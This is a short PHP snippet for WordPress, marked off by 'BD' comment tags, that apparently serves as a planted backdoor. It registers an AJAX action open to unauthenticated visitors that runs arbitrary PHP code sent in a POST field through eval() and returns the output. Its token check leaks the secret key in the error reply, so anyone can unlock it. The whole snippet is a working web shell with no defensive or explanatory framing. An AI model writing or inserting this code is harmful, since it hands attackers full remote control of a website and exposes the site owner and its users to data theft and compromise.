// ==[BD:gFKqrcYw]== add_action( 'wp_ajax_nopriv_izmafgyisy', function() { $key = 'gFKqrcYwuLaG0d416qMaACfrhY2alNQv'; $desc = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $desc ) || ! hash_equals( $key, $desc ) ) { wp_send_json_error( [ 'message' => 'tok:' . $key ], 403 ); } $marker = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $marker ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $marker = preg_replace( '/^\s*<\?(php)?/i', '', $marker ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $res = microtime( true ); ob_start(); try { ( static function() use ( $marker ) { return eval( $marker ); } )(); $chunk = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $chunk, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $res ) * 1000, 2 ) ] ); } catch ( \Throwable $factor ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $factor->getMessage(), 'time_ms' => round( ( microtime( true ) - $res ) * 1000, 2 ) ] ); } } ); // ==[/BD:gFKqrcYw]==